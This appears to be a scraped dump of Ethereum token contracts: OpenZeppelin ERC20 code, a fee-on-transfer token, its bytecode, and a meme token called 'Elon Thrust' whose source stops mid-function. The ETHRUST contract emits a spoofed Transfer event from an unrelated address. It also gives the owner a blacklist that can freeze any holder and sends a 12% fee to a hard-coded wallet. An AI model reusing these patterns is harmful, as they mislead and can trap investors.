return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/Token.sol contract Token is ERC20, Ownable { uint256 public burnRate; // burn rate multiplied by 10^6 uint256 public devRate; // dev rate multiplied by 10^6 address public devAddress; mapping(address => bool) public feeWhitelist; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _totalSupply, address _devAddress ) public ERC20(_tokenName, _tokenSymbol) { burnRate = 20000; // 2% devRate = 10000; // 1% devAddress = _devAddress; _mint(msg.sender, _totalSupply); } // Owner functions function addWhitelist(address _addr, bool _feeAllow) external onlyOwner { feeWhitelist[_addr] = _feeAllow; } function setBurnRate(uint256 _rate) external onlyOwner { require(_rate < 1000000, "Invalid rate"); burnRate = _rate; } function setDevRate(uint256 _rate) external onlyOwner { require(_rate < 1000000, "Invalid rate"); devRate = _rate; } function setDevAddress(address _addr) external onlyOwner { require(_addr != address(0), "Invalid address"); devAddress = _addr; } // Transfer function transfer(address recipient, uint256 amount) public override returns (bool) { if (feeWhitelist[_msgSender()] || feeWhitelist[recipient]) { uint256 burnAmount = amount.mul(burnRate).div(10**6); uint256 devAmount = amount.mul(devRate).div(10**6); uint256 finalAmount = amount.sub( burnAmount.add(devAmount), "Fee exceeds amount" ); _burn(_msgSender(), burnAmount); _transfer(_msgSender(), devAddress, devAmount); _transfer(_msgSender(), recipient, finalAmount); } else { _transfer(_msgSender(), recipient, amount); } return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { if (feeWhitelist[sender] || feeWhitelist[recipient]) { uint256 burnAmount = amount.mul(burnRate).div(10**6); uint256 devAmount = amount.mul(devRate).div(10**6); uint256 finalAmount = amount.sub( burnAmount.add(devAmount), "Fee exceeds amount" ); _burn(sender, burnAmount); _transfer(sender, devAddress, devAmount); _transfer(sender, recipient, finalAmount); } else { _transfer(sender, recipient, amount); } _approve( sender, _msgSender(), allowance(sender, _msgSender()).sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063bed998501161007c578063bed99850146103c2578063c9574975146103ca578063d0d41fe1146103d2578063d408f657146103f8578063dd62ed3e1461041e578063f2fde38b1461044c57610142565b80638da5cb5b1461033d57806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063b590bd41146103a557610142565b8063313ce5671161010a578063313ce567146102735780633714020e1461029157806339509351146102bf5780633ad10ef6146102eb57806370a082311461030f578063715018a61461033557610142565b806306fdde0314610147578063095ea7b3146101c457806318160ddd14610204578063189d165e1461021e57806323b872dd1461023d575b600080fd5b61014f610472565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b038135169060200135610508565b604080519115158252519081900360200190f35b61020c610526565b60408051918252519081900360200190f35b61023b6004803603602081101561023457600080fd5b503561052c565b005b6101f06004803603606081101561025357600080fd5b506001600160a01b038135811691602081013590911690604001356105d9565b61027b610735565b6040805160ff9092168252519081900360200190f35b61023b600480360360408110156102a757600080fd5b506001600160a01b038135169060200135151561073e565b6101f0600480360360408110156102d557600080fd5b506001600160a01b0381351690602001356107cb565b6102f3610819565b604080516001600160a01b039092168252519081900360200190f35b61020c6004803603602081101561032557600080fd5b50356001600160a01b0316610828565b61023b610843565b6102f36108f5565b61014f610909565b6101f06004803603604081101561036357600080fd5b506001600160a01b03813516906020013561096a565b6101f06004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356109d2565b61023b600480360360208110156103bb57600080fd5b5035610ad0565b61020c610b7d565b61020c610b83565b61023b600480360360208110156103e857600080fd5b50356001600160a01b0316610b89565b6101f06004803603602081101561040e57600080fd5b50356001600160a01b0316610c5a565b61020c6004803603604081101561043457600080fd5b506001600160a01b0381358116916020013516610c6f565b61023b6004803603602081101561046257600080fd5b50356001600160a01b0316610c9a565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b600061051c610515610e09565b8484610e0d565b5060015b92915050565b60025490565b610534610e09565b6001600160a01b03166105456108f5565b6001600160a01b03161461058e576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b620f424081106105d4576040805162461bcd60e51b815260206004820152600c60248201526b496e76616c6964207261746560a01b604482015290519081900360640190fd5b600655565b6001600160a01b03831660009081526009602052604081205460ff168061061857506001600160a01b03831660009081526009602052604090205460ff165b156106da576000610641620f424061063b60065486610ef990919063ffffffff16565b90610f52565b90506000610661620f424061063b60075487610ef990919063ffffffff16565b905060006106a36106728484610da8565b60408051808201909152601281527111995948195e18d959591cc8185b5bdd5b9d60721b6020820152879190610fb9565b90506106af8784611050565b6008546106c79088906001600160a01b03168461114c565b6106d287878361114c565b5050506106e5565b6106e584848461114c565b61072b846106f1610e09565b610726856040518060600160405280602881526020016113de6028913961071f8a61071a610e09565b610c6f565b9190610fb9565b610e0d565b5060019392505050565b60055460ff1690565b610746610e09565b6001600160a01b03166107576108f5565b6001600160a01b0316146107a0576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b600061051c6107d8610e09565b8461072685600160006107e9610e09565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610da8565b6008546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b61084b610e09565b6001600160a01b031661085c6108f5565b6001600160a01b0316146108a5576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104fe5780601f106104d3576101008083540402835291602001916104fe565b600061051c610977610e09565b846107268560405180606001604052806025815260200161149060259139600160006109a1610e09565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610fb9565b6000600960006109e0610e09565b6001600160a01b0316815260208101919091526040016000205460ff1680610a2057506001600160a01b03831660009081526009602052604090205460ff165b15610abe576000610a43620f424061063b60065486610ef990919063ffffffff16565b90506000610a63620f424061063b60075487610ef990919063ffffffff16565b90506000610a746106728484610da8565b9050610a87610a81610e09565b84611050565b610aa4610a92610e09565b6008546001600160a01b03168461114c565b610ab6610aaf610e09565b878361114c565b50505061051c565b61051c610ac9610e09565b848461114c565b610ad8610e09565b6001600160a01b0316610ae96108f5565b6001600160a01b031614610b32576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b620f42408110610b78576040805162461bcd60e51b815260206004820152600c60248201526b496e76616c6964207261746560a01b604482015290519081900360640190fd5b600755565b60065481565b60075481565b610b91610e09565b6001600160a01b0316610ba26108f5565b6001600160a01b031614610beb576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b6001600160a01b038116610c38576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60096020526000908152604090205460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ca2610e09565b6001600160a01b0316610cb36108f5565b6001600160a01b031614610cfc576040805162461bcd60e51b81526020600482018190526024820152600080516020611406833981519152604482015290519081900360640190fd5b6001600160a01b038116610d415760405162461bcd60e51b815260040180806020018281038252602681526020018061134f6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610e02576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610e525760405162461bcd60e51b815260040180806020018281038252602481526020018061146c6024913960400191505060405180910390fd5b6001600160a01b038216610e975760405162461bcd60e51b81526004018080602001828103825260228152602001806113756022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082610f0857506000610520565b82820282848281610f1557fe5b0414610e025760405162461bcd60e51b81526004018080602001828103825260218152602001806113bd6021913960400191505060405180910390fd5b6000808211610fa8576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610fb157fe5b049392505050565b600081848411156110485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561100d578181015183820152602001610ff5565b50505050905090810190601f16801561103a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166110955760405162461bcd60e51b81526004018080602001828103825260218152602001806114266021913960400191505060405180910390fd5b6110a1826000836112a7565b6110de8160405180606001604052806022815260200161132d602291396001600160a01b0385166000908152602081905260409020549190610fb9565b6001600160a01b03831660009081526020819052604090205560025461110490826112ac565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0383166111915760405162461bcd60e51b81526004018080602001828103825260258152602001806114476025913960400191505060405180910390fd5b6001600160a01b0382166111d65760405162461bcd60e51b815260040180806020018281038252602381526020018061130a6023913960400191505060405180910390fd5b6111e18383836112a7565b61121e81604051806060016040528060268152602001611397602691396001600160a01b0386166000908152602081905260409020549190610fb9565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461124d9082610da8565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b505050565b600082821115611303576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122061b78f5fba8884b92183e1ad77a42126d6a3992a93989d5c875c43f2a8c519dc64736f6c634300060c0033
[ 38 ]
0xf245fc684caa9f2190a0d32af14ec56cffebba7d
/* /\/\/\ / \ | \ / | / \ | \/ | / \ | /\ |----------------------| /\ | | / \ | | / \ | |/ \| | / \ | |\ /| | | ( ) | | | \ / | | | ( ) | | | \/ | /\ | | | | /\ | /\ | / \ | | | | / \ | / \ | |----| | | | | |----| |/ \|---------------| | | /| . |\ | | | |\ /| | | / | . | \ | | | \ / | | / | . | \ | | \/ | | / | . | \ | | /\ |---------------|/ | . | \| | / \ | / ELON | . | ELON \ |/ \| ( | | ) |/\/\/\| | | |--| |--| | | ------------------------/ \-----/ \/ \-----/ \-------- \\// \\//\\// \\// \/ \/ \/ \/ Daddy Elon Said: 12 million pounds of thrust at liftoff Safu play, will be locked and renounced. Marketing incoming... */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ETHRUST is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Elon Thrust"; string private constant _symbol = "ETHRUST"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _feeAddrWallet2 = payable(0x1f0EF8862D9DB771553c3A8A9c697c9810AC2E9f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xa5d971B3515ebBfc5196261AC18B8B837e9F7FF3), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = 